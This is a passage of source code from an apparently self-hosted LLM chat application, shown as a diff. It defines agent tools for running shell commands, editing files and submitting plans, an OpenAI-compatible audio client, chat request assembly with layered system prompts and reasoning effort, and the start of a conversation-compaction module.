needs: it maps an offered tool *name* back to its family and has no chat to
resolve. Their runners still work -- they report that the conversation is
not connected to a machine, which is true.
`plan_submit` is offered in Plan mode and nowhere else. It ends the reply,
and a model in Auto mode that proposed a plan instead of doing the work
would be obeying the wrong instinct at exactly the wrong moment.
"""
defs = [
ToolDef(
name="shell_run",
family=FAMILY_AGENT,
description=(
"Run a shell command and read back everything it printed, stdout "
"and stderr together. Each call is a fresh shell, so a `cd` in one "
"does not carry into the next — pass `cwd` instead. Nothing can "
"answer a prompt, so pass the flags that make a command "
"non-interactive rather than waiting for it to ask."
),
parameters={
"type": "object",
"properties": {
"command": {**_STRING, "description": "The command line to run."},
"cwd": {
**_STRING,
"description": "Where to run it. Defaults to the project directory.",
},
"timeout": {
"type": "number",
"description": "Seconds to allow. Bounded by the instance settings.",
},
},
"required": ["command"],
},
run=_run_shell,
risk=RISK_EXECUTE,
),
ToolDef(
name="file_read",
family=FAMILY_AGENT,
description=(
"Read a text file. A relative path is taken from the project "
"directory. Large files are cut off at the end rather than "
"refused, and you are told when that happened."
),
parameters={
"type": "object",
"properties": {"path": {**_STRING, "description": "The file to read."}},
"required": ["path"],
},
run=_run_read,
risk=RISK_READ,
),
ToolDef(
name="file_write",
family=FAMILY_AGENT,
description=(
"Create a text file, or replace an existing one entirely. A "
"relative path is taken from the project directory. Use this for a "
"new file, or when you are rewriting the whole thing. To change "
"part of a file that already exists, use file_edit instead: it is "
"cheaper, and it cannot silently lose the parts you did not mean "
"to touch."
),
parameters={
"type": "object",
"properties": {
"path": {**_STRING, "description": "The file to write."},
"content": {**_STRING, "description": "Its whole new contents."},
},
"required": ["path", "content"],
},
run=_run_write,
risk=RISK_WRITE,
),
ToolDef(
name="file_edit",
family=FAMILY_AGENT,
description=(
"Change part of a text file by applying a unified diff. You must "
"have read the file with file_read in this same reply first, or "
"this is refused — a patch written from memory is how a change "
"quietly becomes a rewrite.\n"
"\n"
"Send an ordinary patch: one or more `@@ -old,count +new,count @@` "
"hunks, each with about three unchanged lines of context on either "
"side of the change, ' ' for context, '-' to remove and '+' to add. "
"The line numbers may be approximate — the context lines must be "
"exact. Nothing is written unless every hunk applies, and you are "
"told which one failed and what the file has there instead."
),
parameters={
"type": "object",
"properties": {
"path": {**_STRING, "description": "The file to change."},
"patch": {
**_STRING,
"description": "The unified diff to apply.",
},
},
"required": ["path", "patch"],
},
run=_run_edit,
risk=RISK_WRITE,
),
ToolDef(
name="file_list",
family=FAMILY_AGENT,
description=(
"List a directory. Defaults to the project directory. Use this "
"before guessing at a path."
),
parameters={
"type": "object",
"properties": {"path": {**_STRING, "description": "The directory to list."}},
"required": [],
},
run=_run_list,
risk=RISK_READ,
),
ToolDef(
name="plan_submit",
family=FAMILY_AGENT,
description=(
"Set out what you would do, and stop. Use this to finish when you "
"have been asked to plan rather than to act: they will read it "
"and decide whether to carry it out.\n"
"\n"
"Say what you FOUND while looking, what the work is FOR, and then "
"the work itself as PHASES of concrete tasks. A task should be "
"one thing, specific enough to follow — name the files and the "
"commands. If the work is short enough that phases would be "
"ceremony, send `steps` instead and it becomes one phase.\n"
"\n"
"Findings are the part people skip and the part that makes a plan "
"worth reading: what is actually there, what surprised you, what "
"the plan is working around."
),
parameters={
"type": "object",
"properties": {
"title": {**_STRING, "description": "What the plan achieves, in a line."},
"summary": {
**_STRING,
"description": "One line on the approach. Optional.",
},
"findings": {
"type": "array",
"items": _STRING,
"description": (
"What you established while looking: what is there, "
"what constrains the work, what you ruled out."
),
},
"objectives": {
"type": "array",
"items": _STRING,
"description": "What this is for. What has to be true at the end.",
},
"phases": {
"type": "array",
"description": "The work, in order.",
"items": {
"type": "object",
"properties": {
"title": {**_STRING, "description": "What this phase does."},
"tasks": {
"type": "array",
"items": _STRING,
"description": "One thing each, in order.",
},
},
"required": ["title", "tasks"],
},
},
"steps": {
"type": "array",
"items": _STRING,
"description": (
"Instead of phases, when the work is one phase. "
"Becomes a single phase."
),
},
},
"required": ["title"],
},
run=_run_plan,
# It writes nothing and runs nothing, so it needs no approval --
# which is the point: Plan mode has to be able to finish.
risk=RISK_READ,
),
ToolDef(
name="plan_update",
family=FAMILY_AGENT,
description=(
"Keep the plan current while you carry it out. Call it when a "
"task finishes, when something you find changes what needs doing, "
"and when a task turns out to be unnecessary — as you go, not at "
"the end. The plan is what somebody reads to see where you are.\n"
"\n"
"Quote the ids from the plan in your prompt: tasks are t1, t2 and "
"so on, objectives are o1. This does not end your turn; carry on "
"with the work afterwards."
),
parameters={
"type": "object",
"properties": {
"task_status": {
"type": "array",
"description": "Tasks whose state has changed.",
"items": {
"type": "object",
"properties": {
"id": {**_STRING, "description": "The task id, e.g. t3."},
"status": {
**_STRING,
"description": "todo, doing, done or dropped.",
},
"note": {
**_STRING,
"description": "A short note about it. Optional.",
},
},
"required": ["id", "status"],
},
},
"objective_status": {
"type": "array",
"description": "Objectives whose state has changed.",
"items": {
"type": "object",
"properties": {
"id": {**_STRING, "description": "The objective id, e.g. o1."},
"status": {
**_STRING,
"description": "open, done or dropped.",
},
},
"required": ["id", "status"],
},
},
"findings": {
"type": "array",
"items": _STRING,
"description": "Anything new you have established.",
},
"add_tasks": {
"type": "array",
"description": "Work the plan did not anticipate.",
"items": {
"type": "object",
"properties": {
"text": {**_STRING, "description": "The task."},
"phase": {
**_STRING,
"description": (
"Which phase it belongs to, e.g. p2. "
"Defaults to the one in progress."
),
},
},
"required": ["text"],
},
},
"summary": {**_STRING, "description": "Where things stand, in a line."},
},
"required": [],
},
run=_run_plan_update,
# See `_run_plan_update`: it cannot touch the machine, and asking
# about it would mean an approval card per ticked-off task.
risk=RISK_READ,
),
]
if context is None:
return defs
# `plan_submit` in Plan mode and nowhere else; `plan_update` everywhere
# else, and only once there is a plan to update. Offering it with no plan
# would be the skills asymmetry again -- a tool for changing something that
# does not exist, which costs a round to find out.
drop = {"plan_submit"} if context.mode != policy.MODE_PLAN else {"plan_update"}
if not context.plan:
drop.add("plan_update")
return [tool for tool in defs if tool.name not in drop]
__all__ = ["FAMILY_AGENT", "MAX_DIFF_LINES", "MAX_EVENT_CHARS", "tool_defs"]
+300
View File
@@ -0,0 +1,300 @@
"""Speech to text and text to speech, against OpenAI-shaped audio endpoints.
The same reasoning as the chat client: plain httpx rather than an SDK, because
the target is not api.openai.com so much as whisper.cpp's server, Speaches,
faster-whisper-server, Kokoro and anything else exposing ``/v1/audio/*``. They
agree on the request and disagree politely about the response, so this is
tolerant about what comes back.
Two endpoints, not one. A local install almost always runs transcription and
speech as separate processes -- they are different models on different
schedules -- and forcing them onto one base URL would mean the common case
could not be configured at all.
"""
from __future__ import annotations
import logging
import time
from collections.abc import AsyncIterator
from typing import Any
import httpx
from lembas.config import settings as env_settings
from lembas.services.crypto import decrypt
from lembas.services.llm.openai_client import (
Endpoint,
LLMError,
describe_http_error,
wrap_transport_error,
)
log = logging.getLogger(__name__)
# api.openai.com has no endpoint that lists voices, so when one is not offered
# these are what a caller can reasonably assume. Anything else -- Kokoro's sixty
# or so -- is discovered.
OPENAI_VOICES = ("alloy", "echo", "fable", "onyx", "nova", "shimmer")
# Formats every player in a browser can decode. opus is deliberately absent:
# some endpoints emit it in an ogg container that Safari will not play.
FORMATS = ("mp3", "wav", "flac", "aac")
# Discovery is cached because the voice list is read every time anyone opens
# their settings, and waking a model server to answer that is rude.
_VOICE_TTL = 300.0
_voice_cache: dict[str, tuple[float, list[str]]] = {}
def endpoint_for(config: dict[str, Any], side: str) -> Endpoint:
"""Build an Endpoint from the stored audio settings.
`side` is "stt" or "tts". Endpoint is a frozen snapshot with the key
already decrypted, so nothing downstream has to know the secret was ever
encrypted -- or hold a database session while it streams.
"""
base_url = (config.get(f"{side}_base_url") or "").strip()
if not base_url:
raise LLMError("No audio endpoint has been configured.")
return Endpoint(
base_url=base_url.rstrip("/"),
api_key=decrypt(config.get(f"{side}_api_key_encrypted") or ""),
extra_headers={},
name=base_url,
)
async def transcribe(
endpoint: Endpoint,
*,
data: bytes,
filename: str,
content_type: str,
model: str = "whisper-1",
language: str = "",
) -> str:
"""Turn recorded audio into text.
`model` is sent even to servers that ignore it: whisper.cpp serves one model
and does not care, while a router in front of several will not dispatch
without it. `language` is omitted when empty, which is what asks the server
to detect it -- sending an empty string instead makes some of them fail.
"""
form: dict[str, Any] = {"model": model, "response_format": "json"}
if language:
form["language"] = language
try:
async with httpx.AsyncClient(timeout=env_settings.request_timeout) as client:
response = await client.post(
endpoint.url("audio/transcriptions"),
headers=_headers_without_content_type(endpoint),
data=form,
files={"file": (filename, data, content_type or "application/octet-stream")},
)
response.raise_for_status()
except httpx.HTTPStatusError as exc:
raise LLMError(describe_http_error(exc), status_code=exc.response.status_code) from exc
except httpx.RequestError as exc:
raise wrap_transport_error(exc, endpoint) from exc
try:
payload = response.json()
except ValueError:
# response_format=text is what some servers give regardless of the ask.
return response.text.strip()
if isinstance(payload, dict):
text = payload.get("text")
if isinstance(text, str):
return text.strip()
error = payload.get("error")
if error:
raise LLMError(str(error))
raise LLMError("The transcription endpoint returned no text.")
async def speak(
endpoint: Endpoint,
text: str,
*,
model: str = "tts-1",
voice: str = "",
fmt: str = "mp3",
speed: float = 1.0,
) -> tuple[str, AsyncIterator[bytes]]:
"""Synthesise speech, returning its content type and a byte stream.
Streamed rather than buffered: a long reply is a lot of audio, and playback
can start on the first chunk instead of after the last.
"""
if not text.strip():
raise LLMError("There is nothing to read out.")
body: dict[str, Any] = {
"model": model,
"input": text,
"response_format": fmt if fmt in FORMATS else "mp3",
}
if voice:
body["voice"] = voice
if speed and speed != 1.0:
body["speed"] = speed
client = httpx.AsyncClient(timeout=env_settings.request_timeout)
try:
request = client.build_request(
"POST", endpoint.url("audio/speech"), headers=endpoint.headers(), json=body
)
response = await client.send(request, stream=True)
if response.status_code >= 400:
# Nothing has been read yet on a streaming response, and the error
# detail is in the body.
await response.aread()
response.raise_for_status()
except httpx.HTTPStatusError as exc:
await client.aclose()
raise LLMError(describe_http_error(exc), status_code=exc.response.status_code) from exc
except httpx.RequestError as exc:
await client.aclose()
raise wrap_transport_error(exc, endpoint) from exc
except Exception:
await client.aclose()
raise
media_type = response.headers.get("content-type", f"audio/{body['response_format']}")
async def stream() -> AsyncIterator[bytes]:
# The client is closed here rather than by the caller: it has to outlive
# this function, and a response abandoned without aclose leaks a socket.
try:
async for chunk in response.aiter_bytes():
yield chunk
finally:
await response.aclose()
await client.aclose()
return media_type, stream()
async def voices(endpoint: Endpoint, *, refresh: bool = False) -> list[str]:
"""Voices the speech endpoint offers, newest answer cached briefly.
Falls back to the OpenAI six on a 404, which is not an error: the official
API simply has no such endpoint, and its voices are a fixed list everyone
already knows.
"""
key = endpoint.base_url
cached = _voice_cache.get(key)
if cached and not refresh and time.monotonic() - cached[0] < _VOICE_TTL:
return cached[1]
try:
async with httpx.AsyncClient(timeout=15.0) as client:
response = await client.get(
endpoint.url("audio/voices"), headers=endpoint.headers()
)
if response.status_code == 404:
found = list(OPENAI_VOICES)
_voice_cache[key] = (time.monotonic(), found)
return found
response.raise_for_status()
payload = response.json()
except httpx.HTTPStatusError as exc:
raise LLMError(describe_http_error(exc), status_code=exc.response.status_code) from exc
except httpx.RequestError as exc:
raise wrap_transport_error(exc, endpoint) from exc
except ValueError as exc:
raise LLMError("The endpoint returned a response that was not JSON.") from exc
found = _parse_voices(payload)
if not found:
found = list(OPENAI_VOICES)
_voice_cache[key] = (time.monotonic(), found)
return found
def _parse_voices(payload: Any) -> list[str]:
"""Pull voice names out of whatever shape the server chose.
Kokoro answers ``{"voices": [{"id": "af_heart", ...}]}``; older builds and
some others answer ``{"voices": ["af_heart", ...]}``; a couple return the
bare list. All three are the same information.
"""
entries = payload
if isinstance(payload, dict):
for field in ("voices", "data"):
if isinstance(payload.get(field), list):
entries = payload[field]
break
if not isinstance(entries, list):
return []
names: list[str] = []
for entry in entries:
if isinstance(entry, str) and entry:
names.append(entry)
elif isinstance(entry, dict):
name = entry.get("id") or entry.get("name") or entry.get("voice")
if isinstance(name, str) and name:
names.append(name)
# Sorted and de-duplicated: sixty voices in the server's arbitrary order is
# not a list anyone can pick from.
return sorted(dict.fromkeys(names))
def _headers_without_content_type(endpoint: Endpoint) -> dict[str, str]:
"""Endpoint headers minus Content-Type.
httpx sets the multipart Content-Type itself, including the boundary.
Leaving the JSON one in place overrides it and the server sees a body it
cannot parse.
"""
return {k: v for k, v in endpoint.headers().items() if k.lower() != "content-type"}
def forget_voices() -> None:
"""Drop the discovery cache. Used when an administrator changes the URL."""
_voice_cache.clear()
def template_flags(db, user) -> dict[str, Any]:
"""What the chat templates need to know about audio.
Lives here rather than in one page module because a message bubble is
rendered from four places -- the chat page, the two message endpoints, and
the SSE stream, which has no request at all -- and each of them needs the
same three booleans. Getting one of them wrong is how a speaker button ends
up on a page that cannot use it.
"""
from lembas.security import permissions
from lembas.services import settings_store
config = settings_store.audio(db)
allowed = permissions.resolve(db, user)
listen = bool(config.get("tts_enabled")) and allowed.get("audio.listen", False)
preferences = (user.settings_json or {}).get("audio") or {} if user else {}
return {
"audio": config,
"user_audio": preferences,
"can_dictate": bool(config.get("stt_enabled"))
and allowed.get("audio.transcribe", False),
"can_listen": listen,
# Only meaningful when can_listen; the template guards on both.
"audio_autoplay": listen
and bool(preferences.get("autoplay", config.get("tts_autoplay"))),
}
__all__ = [
"FORMATS",
"OPENAI_VOICES",
"LLMError",
"endpoint_for",
"forget_voices",
"speak",
"transcribe",
"voices",
]
+584
View File
@@ -0,0 +1,584 @@
"""Chat orchestration: building requests, streaming replies, naming chats."""
from __future__ import annotations
import logging
from datetime import UTC, datetime, timedelta
from typing import Any
from sqlalchemy import func, select
from sqlalchemy.orm import Session as DBSession
from lembas.db.models import (
ROLE_ASSISTANT,
ROLE_SYSTEM,
ROLE_USER,
Chat,
Connection,
Message,
Model,
)
from lembas.services import files as files_service
from lembas.services.llm.openai_client import Endpoint, LLMError, complete
log = logging.getLogger(__name__)
# Sampling keys forwarded upstream. Anything else a user puts in params_json is
# ignored rather than passed through, so a typo cannot produce a 400 from the
# provider that looks like a LLeMbas bug.
FORWARDED_PARAMS = frozenset(
{"temperature", "top_p", "max_tokens", "presence_penalty", "frequency_penalty",
"seed", "stop"}
)
MAX_TITLE_LENGTH = 60
# How long a temporary chat survives after the last thing said in it.
TEMPORARY_LIFETIME = timedelta(hours=24)
def resolve_endpoint(db: DBSession, chat: Chat) -> tuple[Endpoint, str]:
"""Find the connection and model a chat should use.
Chats store the model id as text rather than a foreign key so history
survives an admin deleting a connection, which means the mapping back to a
live connection has to be resolved at send time and can legitimately fail.
"""
if not chat.model_id:
raise LLMError("This chat has no model selected.")
connection: Connection | None = None
if chat.connection_id:
connection = db.get(Connection, chat.connection_id)
if connection is None or not connection.enabled:
# The original connection is gone or disabled. Any enabled connection
# still offering this model id will do.
model = db.scalar(
select(Model)
.join(Connection)
.where(
Model.model_id == chat.model_id,
Model.enabled.is_(True),
Connection.enabled.is_(True),
)
.order_by(Connection.position)
)
if model is None:
raise LLMError(
f"No enabled connection currently offers the model "
f"'{chat.model_id}'. Pick another model for this chat."
)
connection = model.connection
chat.connection_id = connection.id
db.commit()
return Endpoint.from_connection(connection), chat.model_id
def document_context(message: Message) -> str:
"""Extracted text from a message's non-image attachments.
Wrapped in named tags so the model can tell one document from another, and
tell all of them from what the user actually typed. Truncation is stated
inline rather than silently, so a model asked about page 400 of a 300-page
extract can say it did not see it.
"""
blocks: list[str] = []
for attachment in message.documents:
if not attachment.extracted_text.strip():
continue
note = " (truncated)" if attachment.truncated else ""
# Where it came from, when there is a where. A model handed `main.py`
# cannot tell which of four it is looking at, and cannot name the file
# back when asked to change something -- so a file read off a machine
# says which machine and which path. Quotes are stripped rather than
# escaped: these are attribute values in a tag the model reads, and a
# path containing one would otherwise close it early.
where = ""
if attachment.source_path:
where += f' path="{_attr(attachment.source_path)}"'
if attachment.source_label:
where += f' from="{_attr(attachment.source_label)}"'
blocks.append(
f'<document name="{_attr(attachment.filename)}"{where}{note}>\n'
f"{attachment.extracted_text.strip()}\n"
f"</document>"
)
return "\n\n".join(blocks)
def _attr(value: str) -> str:
"""A value safe to sit inside the double quotes of a tag we are writing."""
return value.replace('"', "").replace("<", "").replace(">", "").replace("\n", " ")
def message_payload(message: Message, *, vision: bool) -> dict[str, Any]:
"""One history entry in the shape the endpoint expects.
Plain text stays a plain string: sending the multimodal list form to an
endpoint that does not implement it is a reliable way to get a 400, and
most local runners do not.
"""
text = message.content.strip()
documents = document_context(message)
if documents:
# Documents lead so the question that follows has its material already
# in view, which is how these models are trained to read a prompt.
text = f"{documents}\n\n{text}" if text else documents
images = message.images if vision else []
if not images:
return {"role": message.role, "content": text}
parts: list[dict[str, Any]] = []
if text:
parts.append({"type": "text", "text": text})
for attachment in images:
uri = files_service.data_uri(attachment)
if uri is None:
# The row survived but the file did not. Better to say so than to
# send a turn that silently lost its picture.
log.warning("attachment %s has no file on disk", attachment.id)
continue
parts.append({"type": "image_url", "image_url": {"url": uri}})
if not parts:
return {"role": message.role, "content": text}
return {"role": message.role, "content": parts}
def effective_system_prompt(db: DBSession, chat: Chat) -> str:
"""The system prompt a chat actually runs with.
Three layers, most specific wins outright:
chat > model > instance
Precedence rather than concatenation. Stacking them reads well in a
settings screen and badly in practice: the moment two layers disagree the
model gets contradictory instructions and nobody can tell which one is
losing. With precedence, "why is it behaving like this" has one answer.
"""
from lembas.services import settings_store
if chat.system_prompt.strip():
return chat.system_prompt.strip()
model = db.scalar(
select(Model).where(Model.model_id == chat.model_id).order_by(Model.position)
)
if model is not None and (model.system_prompt or "").strip():
return model.system_prompt.strip()
return (settings_store.get(db, "system_prompt") or "").strip()
def build_messages(
db: DBSession,
chat: Chat,
*,
upto: Message | None = None,
vision: bool = False,
system_prompt: str | None = None,
) -> list[dict]:
"""Assemble the message list to send upstream.
`upto` excludes the placeholder assistant row being generated into, and
everything after it. `system_prompt` overrides what would otherwise be
resolved, which is how the harness gets in front of the authored prompt
without this function knowing anything about tools.
"""
from lembas.services import compaction as compaction_service
from lembas.services import prompts as prompts_service
payload: list[dict[str, Any]] = []
system = effective_system_prompt(db, chat) if system_prompt is None else system_prompt
if system:
payload.append({"role": ROLE_SYSTEM, "content": system})
# Compacted turns are replaced by a summary carried in two turns rather than
# one. A leading `assistant` breaks templates that require the first
# non-system message to be `user`; a lone leading `user` produces user, user
# whenever the kept history starts on a user turn -- which it always does,
# because the cutoff lands on a finished reply. The pair alternates
# correctly in both directions and keeps exactly one system message.
cutoff = compaction_service.cutoff_message(db, chat)
if cutoff is not None:
lead = prompts_service.resolve(db, "task.compact_lead").strip()
ack = prompts_service.resolve(db, "task.compact_ack").strip()
summary = chat.compact_summary.strip()
payload.append(
{"role": ROLE_USER, "content": f"{lead}\n\n{summary}" if lead else summary}
)
if ack:
payload.append({"role": ROLE_ASSISTANT, "content": ack})
history = db.scalars(
select(Message).where(Message.chat_id == chat.id).order_by(Message.created_at)
).all()
for message in history:
if upto is not None and message.id == upto.id:
break
if cutoff is not None and compaction_service.moment(
message
) <= compaction_service.moment(cutoff):
continue
# Typed while the previous reply was still being written, and not yet
# handed to a model. It is in the transcript and it is not in the
# request; delivery is what moves it from one to the other.
if message.queued:
continue
# Skip turns that failed or produced nothing -- but a message carrying
# only an attachment has no text and must still be sent.
if message.error:
continue
if not message.content.strip() and not message.attachments:
continue
payload.append(message_payload(message, vision=vision))
return payload
def model_for(db: DBSession, chat: Chat) -> Model | None:
"""The Model row a chat is using, or None if it has gone.
Looked up by id rather than held as a foreign key, for the same reason
resolve_endpoint does: chats store the model as text so history survives an
administrator deleting a connection.
"""
return db.scalar(
select(Model).where(Model.model_id == chat.model_id).order_by(Model.position)
)
def model_supports(db: DBSession, chat: Chat, capability: str) -> bool:
"""Whether the chat's current model is marked as having a capability."""
model = model_for(db, chat)
return bool(model and (model.capabilities_json or {}).get(capability))
def build_request(
db: DBSession,
chat: Chat,
*,
upto: Message | None = None,
tools: list[dict[str, Any]] | None = None,
user=None,
) -> dict[str, Any]:
"""The whole request body, tools and harness included.
Composed here rather than in the generation loop so that "what gets sent"
has one answer, and so the harness cannot be forgotten by a future caller
that offers tools.
"""
from lembas.services import harness as harness_service
from lembas.services import prompts as prompts_service
params = {
key: value
for key, value in (chat.params_json or {}).items()
if key in FORWARDED_PARAMS and value not in (None, "")
}
# Images are only sent to a model an administrator has marked as having
# vision. Sending them to one that has not is not a graceful degradation:
# most endpoints reject the whole request.
vision = model_supports(db, chat, "vision")
if user is None:
from lembas.db.models import User
user = db.get(User, chat.user_id)
# The harness describes the tools; the authored prompt describes the
# behaviour. See services/harness.py for why these are joined rather than
# being two competing layers.
system = harness_service.join(
harness_service.compose(db, user, tools, chat),
effective_system_prompt(db, chat),
lead=prompts_service.render(db, "seam.authored_lead", {}),
)
body: dict[str, Any] = {
"model": chat.model_id,
"messages": build_messages(
db, chat, upto=upto, vision=vision, system_prompt=system
),
**params,
}
if tools:
body["tools"] = tools
apply_effort(body, (chat.params_json or {}).get("reasoning_effort"))
return body
# Reasoning effort, and why it goes out twice.
#
# There is no one field that works. OpenAI and vLLM read a plain
# `reasoning_effort`. llama.cpp reads it too and, per its own documentation,
# "other values (e.g. 'low', 'max') have no effect" -- its maintainer is blunter
# still: "llama-server cannot support reasoning_effort at all", and the field
# "simply gets dropped without error or logging". What *does* reach a gpt-oss
# behind llama.cpp is `chat_template_kwargs`, which it accepts per request.
#
# So both are sent, and only when an effort has actually been chosen. That
# second half is what keeps this from being a regression: a chat nobody has set
# an effort on sends neither field and is byte-for-byte what it was. An endpoint
# strict about unknown parameters will refuse the extra one -- but on a chat
# somebody deliberately set an effort on, not on every chat in the instance.
EFFORTS = ("low", "medium", "high")
def resolved_effort(chat) -> str:
"""The effort this chat will actually send, or "" for none.
Its own value, and nothing else. The model's default is a **seed** applied
when the chat is created (`api/chats.py:_new_chat`) and on a model change,
and is deliberately not consulted here for two reasons. A chat's request
should be a function of the chat row alone -- the same rule that has PDF
text extracted once at upload and knowledge attachments copied. And a
fallback would break "off": `update_chat` stores `None` for a cleared
effort, a fallback would resurrect the model's default underneath it, and
the off option would silently do nothing.
The picker shows exactly this, which is the whole point of it existing:
"Effort: default" named no level and was true of nothing in particular.
"""
value = (getattr(chat, "params_json", None) or {}).get("reasoning_effort")
return value if value in EFFORTS else ""
def apply_effort(body: dict[str, Any], effort: str | None) -> None:
"""Put a chosen reasoning effort into a request body, in both forms."""
if not effort or effort not in EFFORTS:
return
body["reasoning_effort"] = effort
kwargs = dict(body.get("chat_template_kwargs") or {})
kwargs["reasoning_effort"] = effort
body["chat_template_kwargs"] = kwargs
def default_model(db: DBSession, user=None) -> tuple[str, str] | None:
"""The model a new chat should start with, as (model_id, connection_id).
Preference order: the user's own choice, then the instance default, then
whatever is first in the admin's ordering. Each is checked against what the
user may actually reach, so a default they have lost access to falls
through rather than producing a chat they cannot use.
"""
from lembas.security import permissions
from lembas.services import settings_store
reachable = permissions.models_visible_to(db, user)
if not reachable:
return None
by_id = {model.model_id: model for model in reachable}
preferred = (user.settings_json or {}).get("default_model") if user is not None else None
if preferred and preferred in by_id:
return preferred, by_id[preferred].connection_id
instance_default = settings_store.get(db, "default_model")
if instance_default and instance_default in by_id:
return instance_default, by_id[instance_default].connection_id
# First in the administrator's ordering. Pinning is a sidebar shortcut, not
# a reordering, so it deliberately does not influence this.
chosen = sorted(reachable, key=lambda m: (m.position, m.model_id))[0]
return chosen.model_id, chosen.connection_id
def available_models(db: DBSession, user=None) -> list[Model]:
"""Models this user may start a chat with, in the administrator's order.
Pinning does NOT hoist a model up this list: pinned models get their own
shortcuts in the sidebar, and a picker whose order silently differs from
the one configured in the admin screen is just confusing.
"""
from lembas.security import permissions
reachable = permissions.models_visible_to(db, user)
return sorted(reachable, key=lambda m: (m.position, m.model_id))
def fallback_title(text: str) -> str:
"""Derive a chat title from the opening message, without calling a model."""
cleaned = " ".join(text.split())
if not cleaned:
return "New chat"
if len(cleaned) <= MAX_TITLE_LENGTH:
return cleaned
# Prefer a word boundary, but only if it does not cut the title in half.
clipped = cleaned[:MAX_TITLE_LENGTH]
space = clipped.rfind(" ")
if space > MAX_TITLE_LENGTH * 0.6:
clipped = clipped[:space]
return clipped.rstrip(" ,.;:-") + ""
async def generate_title(
endpoint: Endpoint, model_id: str, question: str, answer: str, *, template: str
) -> str:
"""Ask the model for a short chat title.
Best-effort by design: any failure falls back to trimming the first
message. Naming a chat is never worth surfacing an error for.
`template` is passed in rather than read here because this runs after the
generation's session has closed -- see `generation._run`. An empty one means
an administrator cleared the fragment, which is how auto-titling is turned
off: no request is made at all.
"""
from lembas.services import prompts as prompts_service
if not template.strip():
return fallback_title(question)
prompt = prompts_service.substitute(
template, {"question": question[:500], "answer": answer[:500]}
)
try:
raw = await complete(
endpoint,
{
"model": model_id,
"messages": [{"role": ROLE_USER, "content": prompt}],
"max_tokens": 24,
"temperature": 0.2,
},
)
except LLMError as exc:
log.debug("auto-title failed, using fallback: %s", exc)
return fallback_title(question)
title = " ".join(raw.split()).strip().strip('"“”\'')
# Small models sometimes ignore the instruction and answer the question
# instead; an over-long reply is a better signal of that than anything else.
if not title or len(title) > MAX_TITLE_LENGTH * 1.5:
return fallback_title(question)
return title[:MAX_TITLE_LENGTH]
def create_message(
db: DBSession,
chat: Chat,
role: str,
content: str = "",
*,
complete_: bool = True,
model_id: str = "",
queued: bool = False,
) -> Message:
message = Message(
chat_id=chat.id,
role=role,
content=content,
complete=complete_,
model_id=model_id,
queued=queued,
)
db.add(message)
db.commit()
return message
async def summarise_for_compaction(
endpoint: Endpoint,
model_id: str,
*,
transcript: str,
previous_summary: str,
template: str,
) -> str:
"""Ask the model to summarise the earlier turns.
`template` is passed in for the same reason `generate_title`'s is: this runs
after the generation's session has closed, and opening another one there is
how you get a session that outlives its scope. An empty template means an
administrator cleared the fragment, and nothing is asked of anyone.
"""
from lembas.services import prompts as prompts_service
if not template.strip() or not transcript.strip():
return ""
prompt = prompts_service.substitute(
template, {"transcript": transcript, "previous_summary": previous_summary}
)
raw = await complete(
endpoint,
{
"model": model_id,
"messages": [{"role": ROLE_USER, "content": prompt}],
"max_tokens": 1200,
# Low, but not zero: this is recall, not invention.
"temperature": 0.3,
},
)
return raw.strip()
def sweep_temporary(db: DBSession, older_than: timedelta = TEMPORARY_LIFETIME) -> int:
"""Delete temporary chats nobody has touched for a day.
Age is measured from the newest message rather than from the chat row's own
timestamps. `created_at` would destroy a conversation still in use at hour
23, and `updated_at` does not move when a message is inserted -- `onupdate`
fires on an UPDATE of the chat, and adding a message is not one.
Startup only, like files.sweep_orphans beside it. A server that runs for a
month sweeps once; that is the trade the existing sweep already makes, and a
scheduler is a whole new concern for a single-worker application.
"""
cutoff = datetime.now(UTC) - older_than
newest = (
select(Message.chat_id, func.max(Message.created_at).label("last"))
.group_by(Message.chat_id)
.subquery()
)
stale = list(
db.scalars(
select(Chat)
.outerjoin(newest, newest.c.chat_id == Chat.id)
.where(
Chat.temporary.is_(True),
func.coalesce(newest.c.last, Chat.created_at) < cutoff,
)
)
)
if not stale:
return 0
files_service.remove_files_for_chats(db, [chat.id for chat in stale])
for chat in stale:
db.delete(chat)
db.commit()
log.info("swept %d temporary chat(s)", len(stale))
return len(stale)
def user_chats(db: DBSession, user_id: str, *, folder_id: str | None = None) -> list[Chat]:
query = select(Chat).where(
Chat.user_id == user_id, Chat.archived.is_(False), Chat.temporary.is_(False)
)
if folder_id is not None:
query = query.where(Chat.folder_id == folder_id)
return list(db.scalars(query.order_by(Chat.pinned.desc(), Chat.updated_at.desc())))
__all__ = [
"ROLE_ASSISTANT",
"ROLE_USER",
"available_models",
"build_request",
"create_message",
"default_model",
"fallback_title",
"generate_title",
"resolve_endpoint",
"user_chats",
]
+199
View File
@@ -0,0 +1,199 @@
"""Carrying a long conversation forward without carrying all of it.
Past a certain length every chat stops working: the window fills, and the only
options are to lose the beginning or to start again. Compaction summarises the
earlier turns and sends the summary in their place.
**The messages are kept.** They stay in the transcript, collapsed behind a
divider, and simply stop being part of the request. A summary that turned out
badly is then a bad turn rather than a lost conversation, which is what makes
the button safe to press and automatic compaction safe to have at all.
**Stored on the Chat, not as a synthetic Message.** A synthetic row would need a
role: `system` breaks the one-system-message rule the moment `build_messages`
emits it beside the harness, and `user`/`assistant` makes it a turn people can
edit, regenerate from and copy, indistinguishable from a real one in all four
places a bubble is rendered. Worse, "editing rewinds, it does not branch" would
silently delete it and leave no marker that compaction had ever happened.
"""
from __future__ import annotations
import logging
from datetime import UTC, datetime
from sqlalchemy import select
from sqlalchemy.orm import Session as DBSession
from lembas.db.models import ROLE_ASSISTANT, Chat, Message
from lembas.services import metrics as metrics_service
from lembas.services import settings_store, tokens
log = logging.getLogger(__name__)
# What the summariser is shown. Past this the oldest turns are dropped with a
# marker: a transcript that does not fit the window it is protecting is no use.
MAX_TRANSCRIPT_CHARS = 24_000
# Settings key, in the GENERAL group. 0 turns automatic compaction off; the
# button still works, because a person asking for it does not need a threshold.
THRESHOLD_KEY = "compact_threshold"
DEFAULT_THRESHOLD = 95
def threshold(db: DBSession) -> int:
value = settings_store.get(db, THRESHOLD_KEY)
return int(value) if isinstance(value, (int, float)) else DEFAULT_THRESHOLD
def moment(message: Message) -> datetime:
"""A message's timestamp, always comparable.
SQLite does not store the offset, so a row loaded from disk comes back naive
while one still in the session's identity map keeps the tzinfo it was
created with. Comparing the two raises, and every comparison here is between
exactly those: a cutoff fetched by id against history loaded in bulk.
`files.sweep_orphans` already normalises for the same reason.
"""
created = message.created_at
return created if created.tzinfo is not None else created.replace(tzinfo=UTC)
def cutoff_message(db: DBSession, chat: Chat) -> Message | None:
